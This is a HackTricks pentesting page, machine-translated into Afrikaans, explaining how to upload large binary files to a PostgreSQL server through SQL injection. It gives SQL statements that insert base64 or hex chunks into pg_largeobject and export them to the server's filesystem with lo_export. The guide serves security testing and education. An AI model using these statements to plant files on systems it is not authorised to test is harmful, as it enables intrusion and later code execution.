hacktricks/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md

5.5 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

PostgreSQL Groot Voorwerpe

PostgreSQL bied 'n struktuur bekend as groot voorwerpe, toeganklik via die pg_largeobject tabel, ontwerp om groot datatipe, soos beelde of PDF-dokumente, te stoor. Hierdie benadering is voordelig bo die COPY TO funksie aangesien dit die uitvoer van data terug na die lêerstelsel moontlik maak, wat verseker dat 'n presiese replika van die oorspronklike lêer gehandhaaf word.

Om 'n volledige lêer binne hierdie tabel te stoor, moet 'n voorwerp in die pg_largeobject tabel geskep word (geïdentifiseer deur 'n LOID), gevolg deur die invoeging van datastukke, elk 2KB in grootte, in hierdie voorwerp. Dit is van kardinale belang dat hierdie stukke presies 2KB in grootte is (met die moontlike uitsondering van die laaste stuk) om te verseker dat die uitvoerfunksie korrek werk.

Om jou binaire data in 2KB stukke te verdeel, kan die volgende opdragte uitgevoer word:

split -b 2048 your_file # Creates 2KB sized files

Vir die kodering van elke lêer in Base64 of Hex, kan die onderstaande opdragte gebruik word:

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

Belangrik: Wanneer jy hierdie proses outomatiseer, verseker dat jy stukke van 2KB van duidelike teks bytes stuur. Hex-gecodeerde lêers sal 4KB data per stuk vereis weens die verdubbeling in grootte, terwyl Base64-gecodeerde lêers die formule ceil(n / 3) * 4 volg.

Die inhoud van die groot voorwerpe kan vir foutopsporing doeleindes besigtig word met:

select loid, pageno, encode(data, 'escape') from pg_largeobject;

Using lo_creat & Base64

Om binêre data te stoor, word 'n LOID eers geskep:

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

In situasies wat presiese beheer vereis, soos om 'n Blind SQL Injection te benut, word lo_create verkies om 'n vaste LOID te spesifiseer.

Data stukke kan dan soos volg ingevoeg word:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

Om die groot objek na gebruik te eksporteer en moontlik te verwyder:

SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

Gebruik van lo_import & Hex

Die lo_import funksie kan gebruik word om 'n LOID vir 'n groot objek te skep en te spesifiseer:

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

Na die skep van die objek, word data per bladsy ingevoeg, wat verseker dat elke stuk nie 2KB oorskry nie:

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

Om die proses te voltooi, word die data uitgevoer en die groot objek verwyder:

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Beperkings

Dit word opgemerk dat groot voorwerpe dalk ACL's (Toegangsbeheerlys) het, wat toegang kan beperk selfs tot voorwerpe wat deur jou gebruiker geskep is. egter, ouer voorwerpe met toegeeflike ACL's mag steeds toeganklik wees vir inhoudsuitvoer.

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}